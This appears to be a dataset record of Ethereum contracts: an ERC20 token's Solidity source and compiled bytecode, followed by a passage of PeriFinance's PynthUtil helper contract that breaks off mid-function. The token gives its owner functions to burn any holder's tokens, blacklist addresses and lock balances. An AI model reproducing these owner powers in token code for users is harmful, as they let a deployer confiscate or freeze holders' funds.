constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826116b0565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b61076284848461179c565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118e3565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b03831660009081526020819052604090205560055461166890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116f55760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561174d5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b038316600081815260036020526040902090611806576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118129084610fb2565b6001600160a01b03851660009081526020819052604090205410156118685760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b6000816001015411801561187f5750806001015442115b156118905760006001820181905581555b6001810182905580546118a39084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119285760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461199b576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220d76a0cc7d9b7c2b4983888bd55d357ee16c2209764e39caa737e7f77b094f9b664736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 9,261 |
0x0b8ea0E1C965c32b26B31FE4A55bD9Ec29C78FdF
|
/**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
/*
___ _ ___ _
| .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___
| _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._>
|_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___.
* PeriFinance: PynthUtil.sol
*
* Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/PynthUtil.sol
* Docs: Will be added in the future.
* https://docs.peri.finance/contracts/source/contracts/PynthUtil
*
* Contract Dependencies: (none)
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2021 PeriFinance
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.5.16;
// https://docs.peri.finance/contracts/source/interfaces/ipynth
interface IPynth {
// Views
function currencyKey() external view returns (bytes32);
function transferablePynths(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(
address from,
address to,
uint value
) external returns (bool);
// Restricted: used internally to PeriFinance
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
interface IVirtualPynth {
// Views
function balanceOfUnderlying(address account) external view returns (uint);
function rate() external view returns (uint);
function readyToSettle() external view returns (bool);
function secsLeftInWaitingPeriod() external view returns (uint);
function settled() external view returns (bool);
function pynth() external view returns (IPynth);
// Mutative functions
function settle(address account) external;
}
// https://docs.peri.finance/contracts/source/interfaces/iperiFinance
interface IPeriFinance {
// Views
function getRequiredAddress(bytes32 contractName) external view returns (address);
function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availablePynthCount() external view returns (uint);
function availablePynths(uint index) external view returns (IPynth);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint);
function isWaitingPeriod(bytes32 currencyKey) external view returns (bool);
function maxIssuablePynths(address issuer) external view returns (uint maxIssuable);
function externalTokenQuota(
address _account,
uint _additionalpUSD,
uint _additionalExToken,
bool _isIssue
) external view returns (uint);
function remainingIssuablePynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function maxExternalTokenStakeAmount(address _account, bytes32 _currencyKey)
external
view
returns (uint issueAmountToQuota, uint stakeAmountToQuota);
function pynths(bytes32 currencyKey) external view returns (IPynth);
function pynthsByAddress(address pynthAddress) external view returns (bytes32);
function totalIssuedPynths(bytes32 currencyKey) external view returns (uint);
function totalIssuedPynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint);
function transferablePeriFinance(address account) external view returns (uint transferable);
// Mutative Functions
function issuePynths(bytes32 _currencyKey, uint _issueAmount) external;
function issueMaxPynths() external;
function issuePynthsToMaxQuota(bytes32 _currencyKey) external;
function burnPynths(bytes32 _currencyKey, uint _burnAmount) external;
function fitToClaimable() external;
function exit() external;
function exchange(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived);
function exchangeOnBehalf(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived);
function exchangeWithTracking(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address originator,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeOnBehalfWithTracking(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address originator,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeWithVirtual(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
bytes32 trackingCode
) external returns (uint amountReceived, IVirtualPynth vPynth);
function mint(address _user, uint _amount) external returns (bool);
function inflationalMint(uint _networkDebtShare) external returns (bool);
function settle(bytes32 currencyKey)
external
returns (
uint reclaimed,
uint refunded,
uint numEntries
);
// Liquidations
function liquidateDelinquentAccount(address account, uint pusdAmount) external returns (bool);
// Restricted Functions
function mintSecondary(address account, uint amount) external;
function mintSecondaryRewards(uint amount) external;
function burnSecondary(address account, uint amount) external;
}
// https://docs.peri.finance/contracts/source/interfaces/iexchangerates
interface IExchangeRates {
// Structs
struct RateAndUpdatedTime {
uint216 rate;
uint40 time;
}
struct InversePricing {
uint entryPoint;
uint upperLimit;
uint lowerLimit;
bool frozenAtUpperLimit;
bool frozenAtLowerLimit;
}
// Views
function aggregators(bytes32 currencyKey) external view returns (address);
function aggregatorWarningFlags() external view returns (address);
function anyRateIsInvalid(bytes32[] calldata currencyKeys) external view returns (bool);
function canFreezeRate(bytes32 currencyKey) external view returns (bool);
function currentRoundForRate(bytes32 currencyKey) external view returns (uint);
function currenciesUsingAggregator(address aggregator) external view returns (bytes32[] memory);
function effectiveValue(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external view returns (uint value);
function effectiveValueAndRates(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
)
external
view
returns (
uint value,
uint sourceRate,
uint destinationRate
);
function effectiveValueAtRound(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
uint roundIdForSrc,
uint roundIdForDest
) external view returns (uint value);
function getCurrentRoundId(bytes32 currencyKey) external view returns (uint);
function getLastRoundIdBeforeElapsedSecs(
bytes32 currencyKey,
uint startingRoundId,
uint startingTimestamp,
uint timediff
) external view returns (uint);
function inversePricing(bytes32 currencyKey)
external
view
returns (
uint entryPoint,
uint upperLimit,
uint lowerLimit,
bool frozenAtUpperLimit,
bool frozenAtLowerLimit
);
function lastRateUpdateTimes(bytes32 currencyKey) external view returns (uint256);
function oracle() external view returns (address);
function rateAndTimestampAtRound(bytes32 currencyKey, uint roundId) external view returns (uint rate, uint time);
function rateAndUpdatedTime(bytes32 currencyKey) external view returns (uint rate, uint time);
function rateAndInvalid(bytes32 currencyKey) external view returns (uint rate, bool isInvalid);
function rateForCurrency(bytes32 currencyKey) external view returns (uint);
function rateIsFlagged(bytes32 currencyKey) external view returns (bool);
function rateIsFrozen(bytes32 currencyKey) external view returns (bool);
function rateIsInvalid(bytes32 currencyKey) external view returns (bool);
function rateIsStale(bytes32 currencyKey) external view returns (bool);
function rateStalePeriod() external view returns (uint);
function ratesAndUpdatedTimeForCurrencyLastNRounds(bytes32 currencyKey, uint numRounds)
external
view
returns (uint[] memory rates, uint[] memory times);
function ratesAndInvalidForCurrencies(bytes32[] calldata currencyKeys)
external
view
returns (uint[] memory rates, bool anyRateInvalid);
function ratesForCurrencies(bytes32[] calldata currencyKeys) external view returns (uint[] memory);
// Mutative functions
function freezeRate(bytes32 currencyKey) external;
}
// https://docs.peri.finance/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getPynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.peri.finance/contracts/source/interfaces/ierc20
interface IERC20 {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// Inheritance
// https://docs.peri.finance/contracts/source/contracts/pynthutil
contract PynthUtil {
IAddressResolver public addressResolverProxy;
bytes32 internal constant CONTRACT_PERIFINANCE = "PeriFinance";
bytes32 internal constant CONTRACT_EXRATES = "ExchangeRates";
bytes32 internal constant PUSD = "pUSD";
constructor(address resolver) public {
addressResolverProxy = IAddressResolver(resolver);
}
function _periFinance() internal view returns (IPeriFinance) {
return IPeriFinance(addressResolverProxy.requireAndGetAddress(CONTRACT_PERIFINANCE, "Missing PeriFinance address"));
}
function _exchangeRates() internal view returns (IExchangeRates) {
return IExchangeRates(addressResolverProxy.requireAndGetAddress(CONTRACT_EXRATES, "Missing ExchangeRates address"));
}
function totalPynthsInKey(address account, bytes32 currencyKey) external view returns (uint total) {
IPeriFinance periFinance = _periFinance();
IExchangeRates exchangeRates = _exchangeRates();
uint numPynths = periFinance.availablePynthCount();
for (uint i = 0; i < numPynths; i++) {
IPynth pynth = periFinance.availablePynths(i);
total += exchangeRates.effectiveValue(
pynth.currencyKey(),
IERC20(address(pynth)).balanceOf(account),
currencyKey
);
}
return total;
}
function pynthsBalances(address account)
external
view
returns (
bytes32[] memory,
uint[] memory,
uint[] memory
)
{
IPeriFinance periFinance = _periFinance();
IExchangeRates exchangeRates = _exchangeRates();
uint numPynths = periFinance.availablePynthCount();
bytes32[] memory currencyKeys = new bytes32[](numPynths);
uint[] memory balances = new uint[](numPynths);
uint[] memory pUSDBalances = new uint[](numPynths);
for (uint i = 0; i < numPynths; i++) {
IPynth pynth = periFinance.availablePynths(i);
currencyKeys[i] = pynth.currencyKey();
balances[i] = IERC20(address(pynth)).balanceOf(account);
pUSDBalances[i] = exchangeRates.effectiveValue(currencyKeys[i], balances[i], PUSD);
}
return (currencyKeys, balances, pUSDBalances);
}
function frozenPynths() external view returns (bytes32[] memory) {
IPeriFinance periFinance = _periFinance();
IExchangeRates exchangeRates = _exchangeRates();
uint numPynths = periFinance.availablePynthCount();
bytes32[] memory frozenPynthsKeys = new bytes32[](numPynths);
